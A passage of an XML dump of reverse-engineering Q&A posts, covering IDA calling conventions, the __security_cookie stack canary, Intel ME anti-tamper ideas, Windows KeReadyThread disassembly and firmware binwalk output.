+--------------------------------------------------------------------+--------------+----------------------+--------------------------------------------------------------+&#xA;    | &quot;EA23EB5F36B9008AC73498A8FC53884D1D7EFBA052F902F44B44D40409CBC215&quot; | &quot;buJx9/y9fV&quot; | &quot;DXzp4VKu&quot;           | e866e8c3fb7496d6dd5f0d8befd212e351d3558edf7f097bbe5994b38082 |&#xA;    | (454132334542354633364239303038414337333439384138464335333838      |              | (44587a7034564b75 or | 3a6b68a9221dc43c53726b767268c4dfc01f92f99383407070ae5622c10c |&#xA;    |  344431443745464241303532463930324634344234344434303430394342      |              |  0d7ce9e152ae)       | 27003cd4d4bcbda1d4bfbe03f5784f5cc45c95b3                     |&#xA;    |  43323135)                                                         |              |                      |                                                              |&#xA;    +--------------------------------------------------------------------+--------------+----------------------+--------------------------------------------------------------+&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(&lt;a href=&quot;https://github.com/marnix/synology-decrypt/issues/15#issuecomment-250923836&quot; rel=&quot;nofollow noreferrer&quot;&gt;related GitHub issue&lt;/a&gt;)&lt;/p&gt;&#xA;" OwnerUserId="17736" LastEditorUserId="13506" LastEditDate="2019-04-22T14:32:52.583" LastActivityDate="2020-08-10T01:44:50.970" Title="Which encryption/decryption algorithm is used in Synology Cloud Sync format 3.0 session key and data encryption?" Tags="|encryption|decryption|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="13705" PostTypeId="2" ParentId="13703" CreationDate="2016-10-12T11:46:28.567" Score="0" Body="&lt;p&gt;*(BYTE *) means take a byte from the pointer provided in address &lt;/p&gt;&#xA;&#xA;&lt;p&gt;if address is 12345678 and it holds  hello &lt;/p&gt;&#xA;&#xA;&lt;p&gt;then  x = *(byte *) (12345678 + counter) if counter is 0 &#xA;x will be 'h' and so on&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the truncated part  checks for [0..9a..eA..E] and returns either 0 (result &#xA;or 10,9,8,7,6 to v4&lt;br&gt;&#xA;don't see any reference to __security_cookie in Your query     &lt;/p&gt;&#xA;&#xA;&lt;p&gt;but if you were asking in general what it meant then you should read about stack canaries , stack smashing protection , gscookie etc &lt;/p&gt;&#xA;&#xA;&lt;p&gt;it is a part of implementation to protect against stack / buffer overflow exploits / vulnerabilities&lt;/p&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2016-10-12T11:46:28.567" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13706" PostTypeId="2" ParentId="13703" CreationDate="2016-10-12T15:05:54.030" Score="4" Body="&lt;p&gt;First, OP mentioned several times he'd like to execute the function. Which should be pretty easy using a debugger (IDA has decent debugging capabilities, or you could give &lt;a href=&quot;http://ollydbg.de/version2.html&quot; rel=&quot;nofollow&quot;&gt;ollydbg&lt;/a&gt; a try)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll answer the questions in the order in which they appear:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;what is &lt;code&gt;__usercall&lt;/code&gt; and diamond-wrapped registers in a function's definition? &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;__usercall&lt;/code&gt; is a &quot;virtual calling convention&quot; in IDA. This is not a real world calling convention, but instead it let an IDA user to specifically describe how parameters are passed to the function. This is particularly useful when parameters are passed in some unconventional way, and you can't use either &lt;code&gt;__stdcall&lt;/code&gt;, &lt;code&gt;__fastcall&lt;/code&gt;, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The diamond wrapped register names in the prototype are used in &lt;code&gt;__usercall&lt;/code&gt; to assign a specific register to that variable (or return address) in the function's body.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The prototype you've got (&lt;code&gt;__usercall sub_401960&amp;lt;eax&amp;gt;(int a1&amp;lt;edi&amp;gt;)&lt;/code&gt;) means the return value is placed in &lt;code&gt;eax&lt;/code&gt; and &lt;code&gt;a1&lt;/code&gt; is passed to the function in &lt;code&gt;edi&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;What does &lt;code&gt;*(_BYTE *)&lt;/code&gt; mean?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This actually has two distinctive parts, evaluated one after the other.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, &lt;code&gt;(_BYTE *)&lt;/code&gt; casts a value or a register to be a byte pointer. This is similar to assigning the value to a C variable which is defined as &lt;code&gt;byte *&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second, &lt;code&gt;*&lt;/code&gt; dereferences the address and retrieves the value in that address, value is assumed to be of the type of the pointer, in our case &lt;code&gt;_BYTE&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is plain C syntax, read more about it &lt;a href=&quot;https://www.google.com/?q=c%20variable%20casting&quot; rel=&quot;nofollow&quot;&gt;online&lt;/a&gt;. Good C understanding is very beneficial to reverse engineers.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;What is &lt;code&gt;__security_cookie&lt;/code&gt;?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;__security_cookie&lt;/code&gt; is a variable defined in Microsoft's Visual Studio's compiler when &lt;a href=&quot;https://en.wikipedia.org/wiki/Buffer_overflow_protection#Canaries&quot; rel=&quot;nofollow&quot;&gt;stack canaries&lt;/a&gt; are used as stack protections. These are variables that are set to a specific (non deterministic) value at the start of the function, and are validated for the same value when the function ends.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is done to make sure no one managed to overflow a buffer defined in the function's stack, and overwrote return addresses. Because such an overflow must also override the &lt;code&gt;__security_cookie&lt;/code&gt; which has an unknown value.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastEditorUserId="2147" LastEditDate="2016-10-12T15:25:04.290" LastActivityDate="2016-10-12T15:25:04.290" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13707" PostTypeId="2" ParentId="13696" CreationDate="2016-10-12T19:29:01.133" Score="1" Body="&lt;p&gt;This is an enhancement to be done on asm.relsub see &lt;a href=&quot;https://github.com/radare/radare2/issues/5956&quot; rel=&quot;nofollow&quot;&gt;https://github.com/radare/radare2/issues/5956&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have created an issue on the radare2 repository, feel free to do similar next time or to come by the IRC or the Telegram channel.&lt;/p&gt;&#xA;" OwnerUserId="3721" LastActivityDate="2016-10-12T19:29:01.133" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13708" PostTypeId="2" ParentId="13704" CreationDate="2016-10-13T00:06:37.063" Score="1" Body="&lt;p&gt;&lt;em&gt;Since all we have to work with here is the term &quot;salt&quot;, without actually reverse engineering the new code we can mostly make a few educated guesses.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Usually &lt;em&gt;salt&lt;/em&gt; is not a term used in encryption, it is more commonly used in the context of cryptographic hashes. However it's usage resembles IVs in nature: both are randomly generated without requiring the user's awareness, both are used once and aren't shared between users/sessions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This makes me think one possibility is that the salt is used &lt;em&gt;as&lt;/em&gt; the IV, or has some strong relation to it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another possibility (which becomes more likely if the password or is derivatives are hashed in some way) is that the salt is actually used as additional input to the hashing function, similarly to how you'd use a salt to avoid cryptographic hash attacks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Again, without further research and information it would be hard to figure out what's going on there. You'll have to invest some more time in reverse engineering the new version if you'd like to pursue this further.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastActivityDate="2016-10-13T00:06:37.063" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13709" PostTypeId="1" AcceptedAnswerId="13710" CreationDate="2016-10-13T06:03:04.517" Score="0" ViewCount="356" Body="&lt;p&gt;&lt;a href=&quot;https://libreboot.org/faq/#intelme&quot; rel=&quot;nofollow&quot;&gt;https://libreboot.org/faq/#intelme&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Introduced in June 2006 in Intel's 965 Express Chipset Family of (Graphics and) Memory Controller Hubs, or (G)MCHs, and the ICH8 I/O Controller Family, the Intel Management Engine (ME) is a separate computing environment physically located in the (G)MCH chip.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The Intel Management Engine has access to the CPU's RAM. However, the CPU does not have access to the RAM reserved by the Intel Management Engine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The idea is simple: the software developer distributes the software encrypted. When the user launches an application, the IME takes over. It loads the encrypted program into the IME's RAM (the CPU does not have access to this). Then, it fetches a public key from a server and decrypts the program in memory. The IME then executes the application.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, the public key could be hard-coded in the IME.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm just wondering if this method is theoretically uncrackable.&lt;/p&gt;&#xA;" OwnerUserId="17597" LastActivityDate="2016-10-18T08:34:43.123" Title="Is this anti-tamper solution fool-proof?" Tags="|memory|encryption|anti-debugging|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13710" PostTypeId="2" ParentId="13709" CreationDate="2016-10-13T06:48:58.570" Score="0" Body="&lt;p&gt;This method (if I understand correctly how exactly IME works) is not theoretically uncrackable, it is practically impossible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The devil, as usual, is in details - this method relies on 2 capabilities that AFAIK IME simply doesn't have - ability to run the application on the main CPU from IME (it requires interaction with the OS, and according to the method definition the decrypted program remains in the memory which is not accessible for main CPU)  and ability to secretly and reliably distribute the code that should run on it (to distribute the public key with the code that should run on IME).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition the IME runs on very weak processor (especially in comparison with man CPU itself).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as I know IME code is distributed as so-called &quot;DAL applets&quot;. This is actually something like JAVA ME code, packed in JEFF/DALP format - and @Igor Skochinsky wrote a &lt;a href=&quot;https://github.com/skochinsky/jeff-tools&quot; rel=&quot;nofollow&quot;&gt;set of utilities&lt;/a&gt; to unpack it - which means that the public key can be easily found.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Generally speaking, the main discrepancy here is as follows:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If the application runs on the main CPU, it can be dumped during run, even if it is decrypted by IME and thus the scheme is not unbreakable.&lt;/li&gt;&#xA;&lt;li&gt;If in contrary the application runs on the IME it can not be distributed encrypted and it is possible to reverse engineer it and thus the scheme is not unbreakable too.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2318" LastEditorUserId="2318" LastEditDate="2016-10-13T07:12:38.310" LastActivityDate="2016-10-13T07:12:38.310" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13711" PostTypeId="2" ParentId="13654" CreationDate="2016-10-13T08:07:48.450" Score="0" Body="&lt;p&gt;So I went through the assembly and found an exit subroutine. Evidently the debugger used to exit once reaching the command. I simply avoided the exit section since all that was supposed to occur, happened before the exit command.&lt;/p&gt;&#xA;" OwnerUserId="17667" LastActivityDate="2016-10-13T08:07:48.450" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13712" PostTypeId="1" AcceptedAnswerId="13716" CreationDate="2016-10-13T15:52:41.653" Score="2" ViewCount="1143" Body="&lt;h1&gt;Problem&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;I'm trying to reverse engineer some Windows kernel routines on a Windows 7 x86 (Home Basic) VM with kd. I have already reversed KeInitializeDpc by disassambling it. The problem with &lt;code&gt;KeReadyThread&lt;/code&gt; is that I can't tell where the &lt;em&gt;third&lt;/em&gt; and the &lt;em&gt;fourth&lt;/em&gt; &lt;code&gt;mov&lt;/code&gt; are pointing to,as the function doesn't seem to have any argument or anything that can help me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;This is the code&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;lkd&amp;gt; uf KeReadyThread  &#xA;nt!KeReadyThread:&#xA;829080f6 8bff            mov     edi,edi  &#xA;829080f8 56              push    esi  &#xA;829080f9 8bf0            mov     esi,eax  &#xA;829080fb 8b4650          mov     eax,dword ptr [esi+50h]  &#xA;829080fe 8b4874          mov     ecx,dword ptr [eax+74h]  &#xA;82908101 f6c107          test    cl,7  &#xA;82908104 7409            je      nt!KeReadyThread+0x19 (8290810f)  &#xA;&#xA;nt!KeReadyThread+0x10:  &#xA;82908106 e8e7cef6ff      call    nt!KiInSwapSingleProcess (82874ff2)  &#xA;8290810b 84c0            test    al,al  &#xA;8290810d 7505            jne     nt!KeReadyThread+0x1e (82908114)  &#xA;&#xA;nt!KeReadyThread+0x19:  &#xA;8290810f e87c70feff      call    nt!KiFastReadyThread (828ef190)  &#xA;&#xA;nt!KeReadyThread+0x1e:  &#xA;82908114 5e              pop     esi  &#xA;82908115 c3              ret&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;_KTHREAD structure&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;lkd&amp;gt; dt _KTHREAD&#xA;nt!_KTHREAD&#xA;   +0x000 Header           : _DISPATCHER_HEADER&#xA;   +0x010 CycleTime        : Uint8B&#xA;   +0x018 HighCycleTime    : Uint4B&#xA;   +0x020 QuantumTarget    : Uint8B&#xA;   +0x028 InitialStack     : Ptr32 Void&#xA;   +0x02c StackLimit       : Ptr32 Void&#xA;   +0x030 KernelStack      : Ptr32 Void&#xA;   +0x034 ThreadLock       : Uint4B&#xA;   +0x038 WaitRegister     : _KWAIT_STATUS_REGISTER&#xA;   +0x039 Running          : UChar&#xA;   +0x03a Alerted          : [2] UChar&#xA;   +0x03c KernelStackResident : Pos 0, 1 Bit&#xA;   +0x03c ReadyTransition  : Pos 1, 1 Bit&#xA;   +0x03c ProcessReadyQueue : Pos 2, 1 Bit&#xA;   +0x03c WaitNext         : Pos 3, 1 Bit&#xA;   +0x03c SystemAffinityActive : Pos 4, 1 Bit&#xA;   +0x03c Alertable        : Pos 5, 1 Bit&#xA;   +0x03c GdiFlushActive   : Pos 6, 1 Bit&#xA;   +0x03c UserStackWalkActive : Pos 7, 1 Bit&#xA;   +0x03c ApcInterruptRequest : Pos 8, 1 Bit&#xA;   +0x03c ForceDeferSchedule : Pos 9, 1 Bit&#xA;   +0x03c QuantumEndMigrate : Pos 10, 1 Bit&#xA;   +0x03c UmsDirectedSwitchEnable : Pos 11, 1 Bit&#xA;   +0x03c TimerActive      : Pos 12, 1 Bit&#xA;   +0x03c Reserved         : Pos 13, 19 Bits&#xA;   +0x03c MiscFlags        : Int4B&#xA;   +0x040 ApcState         : _KAPC_STATE&#xA;   +0x040 ApcStateFill     : [23] UChar&#xA;   +0x057 Priority         : Char&#xA;   +0x058 NextProcessor    : Uint4B&#xA;   +0x05c DeferredProcessor : Uint4B&#xA;   +0x060 ApcQueueLock     : Uint4B&#xA;   +0x064 ContextSwitches  : Uint4B&#xA;   +0x068 State            : UChar&#xA;   +0x069 NpxState         : Char&#xA;   +0x06a WaitIrql         : UChar&#xA;   +0x06b WaitMode         : Char&#xA;   +0x06c WaitStatus       : Int4B&#xA;   +0x070 WaitBlockList    : Ptr32 _KWAIT_BLOCK&#xA;   +0x074 WaitListEntry    : _LIST_ENTRY&#xA;   +0x074 SwapListEntry    : _SINGLE_LIST_ENTRY&#xA;   +0x07c Queue            : Ptr32 _KQUEUE&#xA;   +0x080 WaitTime         : Uint4B&#xA;   +0x084 KernelApcDisable : Int2B&#xA;   +0x086 SpecialApcDisable : Int2B&#xA;   +0x084 CombinedApcDisable : Uint4B&#xA;   +0x088 Teb              : Ptr32 Void&#xA;   +0x090 Timer            : _KTIMER&#xA;   +0x0b8 AutoAlignment    : Pos 0, 1 Bit&#xA;   +0x0b8 DisableBoost     : Pos 1, 1 Bit&#xA;   +0x0b8 EtwStackTraceApc1Inserted : Pos 2, 1 Bit&#xA;   +0x0b8 EtwStackTraceApc2Inserted : Pos 3, 1 Bit&#xA;   +0x0b8 CalloutActive    : Pos 4, 1 Bit&#xA;   +0x0b8 ApcQueueable     : Pos 5, 1 Bit&#xA;   +0x0b8 EnableStackSwap  : Pos 6, 1 Bit&#xA;   +0x0b8 GuiThread        : Pos 7, 1 Bit&#xA;   +0x0b8 UmsPerformingSyscall : Pos 8, 1 Bit&#xA;   +0x0b8 ReservedFlags    : Pos 9, 23 Bits&#xA;   +0x0b8 ThreadFlags      : Int4B&#xA;   +0x0bc ServiceTable     : Ptr32 Void&#xA;   +0x0c0 WaitBlock        : [4] _KWAIT_BLOCK&#xA;   +0x120 QueueListEntry   : _LIST_ENTRY&#xA;   +0x128 TrapFrame        : Ptr32 _KTRAP_FRAME&#xA;   +0x12c FirstArgument    : Ptr32 Void&#xA;   +0x130 CallbackStack    : Ptr32 Void&#xA;   +0x130 CallbackDepth    : Uint4B&#xA;   +0x134 ApcStateIndex    : UChar&#xA;   +0x135 BasePriority     : Char&#xA;   +0x136 PriorityDecrement : Char&#xA;   +0x136 ForegroundBoost  : Pos 0, 4 Bits&#xA;   +0x136 UnusualBoost     : Pos 4, 4 Bits&#xA;   +0x137 Preempted        : UChar&#xA;   +0x138 AdjustReason     : UChar&#xA;   +0x139 AdjustIncrement  : Char&#xA;   +0x13a PreviousMode     : Char&#xA;   +0x13b Saturation       : Char&#xA;   +0x13c SystemCallNumber : Uint4B&#xA;   +0x140 FreezeCount      : Uint4B&#xA;   +0x144 UserAffinity     : _GROUP_AFFINITY&#xA;   +0x150 Process          : Ptr32 _KPROCESS&#xA;   +0x154 Affinity         : _GROUP_AFFINITY&#xA;   +0x160 IdealProcessor   : Uint4B&#xA;   +0x164 UserIdealProcessor : Uint4B&#xA;   +0x168 ApcStatePointer  : [2] Ptr32 _KAPC_STATE&#xA;   +0x170 SavedApcState    : _KAPC_STATE&#xA;   +0x170 SavedApcStateFill : [23] UChar&#xA;   +0x187 WaitReason       : UChar&#xA;   +0x188 SuspendCount     : Char&#xA;   +0x189 Spare1           : Char&#xA;   +0x18a OtherPlatformFill : UChar&#xA;   +0x18c Win32Thread      : Ptr32 Void&#xA;   +0x190 StackBase        : Ptr32 Void&#xA;   +0x194 SuspendApc       : _KAPC&#xA;   +0x194 SuspendApcFill0  : [1] UChar&#xA;   +0x195 ResourceIndex    : UChar&#xA;   +0x194 SuspendApcFill1  : [3] UChar&#xA;   +0x197 QuantumReset     : UChar&#xA;   +0x194 SuspendApcFill2  : [4] UChar&#xA;   +0x198 KernelTime       : Uint4B&#xA;   +0x194 SuspendApcFill3  : [36] UChar&#xA;   +0x1b8 WaitPrcb         : Ptr32 _KPRCB&#xA;   +0x194 SuspendApcFill4  : [40] UChar&#xA;   +0x1bc LegoData         : Ptr32 Void&#xA;   +0x194 SuspendApcFill5  : [47] UChar&#xA;   +0x1c3 LargeStack       : UChar&#xA;   +0x1c4 UserTime         : Uint4B&#xA;   +0x1c8 SuspendSemaphore : _KSEMAPHORE&#xA;   +0x1c8 SuspendSemaphorefill : [20] UChar&#xA;   +0x1dc SListFaultCount  : Uint4B&#xA;   +0x1e0 ThreadListEntry  : _LIST_ENTRY&#xA;   +0x1e8 MutantListHead   : _LIST_ENTRY&#xA;   +0x1f0 SListFaultAddress : Ptr32 Void&#xA;   +0x1f4 ThreadCounters   : Ptr32 _KTHREAD_COUNTERS&#xA;   +0x1f8 XStateSave       : Ptr32 _XSTATE_SAVE&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h1&gt;Solution&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;The only thing that came to my mind as a possible solution is to run the code and see what the registers point to,but on top of not knowing whether it is correct or not, I don't know how to do it. As you may have guessed I'm pretty inexperienced.&lt;/p&gt;&#xA;" OwnerUserId="16079" LastEditorUserId="16079" LastEditDate="2016-10-13T16:11:04.140" LastActivityDate="2019-11-22T19:52:11.647" Title="Reverse Engineering Windows kernel routines" Tags="|windows|assembly|x86|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13713" PostTypeId="1" CreationDate="2016-10-13T19:29:33.703" Score="2" ViewCount="889" Body="&lt;p&gt;Hey guys Im trying to find loading address (entry point of my program) for this &lt;a href=&quot;https://drive.google.com/file/d/0B95UR9turb7DWEZ1UjMyRVBXMzg/view&quot; rel=&quot;nofollow&quot;&gt;binary&lt;/a&gt;, which is part off this &lt;a href=&quot;https://drive.google.com/file/d/0B95UR9turb7DTXhNYm01NjVhbTg/view?usp=sharing&quot; rel=&quot;nofollow&quot;&gt;firmware&lt;/a&gt;. Im trying to load it inside of IDA, how can I correctly load it, how to find entry point address?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's &lt;code&gt;binwalk&lt;/code&gt;'s output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ binwalk 7101C&#xA;&#xA;DECIMAL       HEXADECIMAL     DESCRIPTION&#xA;--------------------------------------------------------------------------------&#xA;0             0x0             eCos kernel exception handler, architecture: MIPSEL, exception vector table base address: 0x80558540&#xA;640           0x280           eCos kernel exception handler, architecture: MIPSEL, exception vector table base address: 0x80558540&#xA;4307602       0x41BA92        Unix path: /../../HB/app/tv/appTvVideo_dvb.c&#xA;4389070       0x42F8CE        Unix path: /../../HB/app/zapper/appZapper.c&#xA;4391820       0x43038C        CRC32 polynomial table, little endian&#xA;4392970       0x43080A        Unix path: /../../HB/app/main/appMain.c&#xA;4393342       0x43097E        Unix path: /../../HB/app/main/appWDT.c&#xA;4393574       0x430A66        Unix path: /../../HB/app/menu/MApp_Menu.c&#xA;4393758       0x430B1E        Unix path: /../../HB/app/menu/MApp_MenuChannel.c&#xA;4397102       0x43182E        Unix path: /../../HB/app/monitor/appMonitor.c&#xA;4398262       0x431CB6        Unix path: /../../HB/platform/api/font/apiVectorFont.c&#xA;4398414       0x431D4E        Unix path: /../../HB/platform/api/zui/MApp_ZUI_APIcontrols.c&#xA;4398666       0x431E4A        Unix path: /../../HB/platform/api/zui/MApp_ZUI_APIgdi.c&#xA;4398882       0x431F22        Unix path: /../../HB/platform/api/zui/MApp_ZUI_APIwindow.c&#xA;4399178       0x43204A        Unix path: /../../HB/platform/api/zui/MApp_ZUI_Main.c&#xA;4399302       0x4320C6        Unix path: /../../HB/platform/api/zui/apiMvf_base.c&#xA;4399654       0x432226        Unix path: /../../HB/platform/api/zui/apiMvf_grays.c&#xA;4401186       0x432822        Unix path: /../../HB/platform/api/database/MApp_SaveData.c&#xA;4401744       0x432A50        CRC32 polynomial table, little endian&#xA;4402906       0x432EDA        Unix path: /../../HB/platform/api/database/apiDTVDataManager.c&#xA;4404518       0x433526        Unix path: /../../HB/platform/api/chscan/apiChScan.c&#xA;4405394       0x433892        Unix path: /../../HB/platform/api/EPG_Swap_DB/apiEPG_DB.c&#xA;4408198       0x434386        Unix path: /../../HB/platform/api/EPG_Swap_DB/apiEPG_EIT_Swap.c&#xA;4410158       0x434B2E        Unix path: /../../HB/platform/driver/pq/drvPQ.c&#xA;4413646       0x4358CE        Unix path: /../../HB/platform/driver/pq/hal/kriti_mstar/include/QualityMap_BW.c&#xA;4414022       0x435A46        Unix path: /../../HB/platform/driver/pq/hal/kriti_mstar/mhal_pq.c&#xA;4415066       0x435E5A        Unix path: /../../HB/app/media/appMM_Browser.c&#xA;4416158       0x43629E        Unix path: /../../HB/app/media/appPVR_playback.c&#xA;4416918       0x436596        Unix path: /../../HB/app/media/MMfilesystem/apiFSUtil.c&#xA;4417234       0x4366D2        Unix path: /../../HB/app/media/portinglayer/mm/src/porting_audio.c&#xA;4425946       0x4388DA        Unix path: /../../HB/app/media/vdplayerV2/appMM_playback.c&#xA;4426570       0x438B4A        Unix path: /../../HB/platform/zui/MApp_ZUI_ACTglobal.c&#xA;4427538       0x438F12        Unix path: /../../HB/platform/zui/MApp_ZUI_GDISetup.c&#xA;4427974       0x4390C6        Unix path: /../../HB/platform/zui/widgets/MApp_ZUI_CTLsolidprogressbar.c&#xA;4428226       0x4391C2        Unix path: /../../HB/platform/zui/pagedoc/MApp_PvrZapper.c&#xA;4428446       0x43929E        Unix path: /../../HB/platform/zui/pagedoc/MApp_Pvrv3.c&#xA;4438850       0x43BB42        Unix path: /../../HB/platform/zui/pageview/MApp_ZUI_ACTAudioLanguage.c&#xA;4439082       0x43BC2A        Unix path: /../../HB/platform/zui/pageview/MApp_ZUI_ACTChannelInfo.c&#xA;4440318       0x43C0FE        Unix path: /../../HB/platform/zui/pageview/MApp_ZUI_ACTMediaMoviePlay.c&#xA;4441950       0x43C75E        Unix path: /../../HB/platform/zui/pageview/MApp_ZUI_ACTMediaPlay.c&#xA;4442178       0x43C842        Unix path: /../../HB/platform/zui/pageview/MApp_ZUI_ACTMediaSimpleStart_PVR.c&#xA;4443290       0x43CC9A        Unix path: /../../HB/platform/zui/pageview/MApp_ZUI_ACTMenuPvrDevice.c&#xA;4444006       0x43CF66        Unix path: /../../HB/platform/zui/pageview/MApp_ZUI_ACTPvrSubtitleLanguage.c&#xA;4444586       0x43D1AA        Unix path: /../../HB/platform/zui/pageview/MApp_ZUI_ACTSubtitle.c&#xA;4445218       0x43D422        Unix path: /../../HB/platform/zui/pageview/MApp_ZUI_ACTbookmanage.c&#xA;4445966       0x43D70E        Unix path: /../../HB/platform/zui/pageview/MApp_ZUI_ACTprogedit.c&#xA;4447410       0x43DCB2        Unix path: /../../HB/platform/zui/pageview/MApp_ZUI_ACTtvbanner.c&#xA;4448530       0x43E112        Unix path: /../../HB/platform/zui/pageview/MApp_ZUI_ACTtvfavoritelist.c&#xA;4448774       0x43E206        Unix path: /../../HB/platform/zui/pageview/MApp_ZUI_Utility.c&#xA;5003844       0x4C5A44        Unix path: /ecos-y/PERFORCE/THEALE/Uranus/eCospro/Kappa/LIB_eCos_fileio_posix_fat_ntfs_jffs2_v3_c++_kappa_34kf_install/include/cyg/kernel/s&#xA;5003845       0x4C5A45        eCos RTOS string reference: &quot;ecos-y/PERFORCE/THEALE/Uranus/eCospro/Kappa/LIB_eCos_fileio_posix_fat_ntfs_jffs2_v3_c++_kappa_34kf_install/include/cyg/kernel/sm&quot;&#xA;5003875       0x4C5A63        eCos RTOS string reference: &quot;eCospro/Kappa/LIB_eCos_fileio_posix_fat_ntfs_jffs2_v3_c++_kappa_34kf_install/include/cyg/kernel/smp.hxx&quot;&#xA;5003893       0x4C5A75        eCos RTOS string reference: &quot;eCos_fileio_posix_fat_ntfs_jffs2_v3_c++_kappa_34kf_install/include/cyg/kernel/smp.hxx&quot;&#xA;5003981       0x4C5ACD        eCos RTOS string reference: &quot;ecos-y/PERFORCE/THEALE/Uranus/eCospro/Kappa/LIB_eCos_fileio_posix_fat_ntfs_jffs2_v3_c++_kappa_34kf_install/include/cyg/memalloc/&quot;&#xA;5004011       0x4C5AEB        eCos RTOS string reference: &quot;eCospro/Kappa/LIB_eCos_fileio_posix_fat_ntfs_jffs2_v3_c++_kappa_34kf_install/include/cyg/memalloc/mempolt2.inl&quot;&#xA;5004029       0x4C5AFD        eCos RTOS string reference: &quot;eCos_fileio_posix_fat_ntfs_jffs2_v3_c++_kappa_34kf_install/include/cyg/memalloc/mempolt2.inl&quot;&#xA;5004125       0x4C5B5D        eCos RTOS string reference: &quot;ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/services/memalloc/common/v2_0_60/src/malloc.cxx&quot;&#xA;5004155       0x4C5B7B        eCos RTOS string reference: &quot;eCospro/packages/services/memalloc/common/v2_0_60/src/malloc.cxx&quot;&#xA;5004221       0x4C5BBD        eCos RTOS string reference: &quot;ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/io/fileio/v2_0_60/src/misc.cxx&quot;&#xA;5004251       0x4C5BDB        eCos RTOS string reference: &quot;eCospro/packages/io/fileio/v2_0_60/src/misc.cxx&quot;&#xA;5004333       0x4C5C2D        eCos RTOS string reference: &quot;ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/fs/fat/v2_0_60/src/fatfs_supp.c&quot;&#xA;5004363       0x4C5C4B        eCos RTOS string reference: &quot;eCospro/packages/fs/fat/v2_0_60/src/fatfs_supp.c&quot;&#xA;5005580       0x4C610C        Unix path: /ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/fs/fat/v2_0_60/src/fatfs_ncache.c&#xA;5005581       0x4C610D        eCos RTOS string reference: &quot;ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/fs/fat/v2_0_60/src/fatfs_ncache.c&quot;&#xA;5005611       0x4C612B        eCos RTOS string reference: &quot;eCospro/packages/fs/fat/v2_0_60/src/fatfs_ncache.c&quot;&#xA;5005940       0x4C6274        Unix path: /ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/fs/fat/v2_0_60/src/fatfs_blib.c&#xA;5005941       0x4C6275        eCos RTOS string reference: &quot;ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/fs/fat/v2_0_60/src/fatfs_blib.c&quot;&#xA;5005971       0x4C6293        eCos RTOS string reference: &quot;eCospro/packages/fs/fat/v2_0_60/src/fatfs_blib.c&quot;&#xA;5006676       0x4C6554        Unix path: /ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/io/disk/v2_0_60/src/disk.c&#xA;5006677       0x4C6555        eCos RTOS string 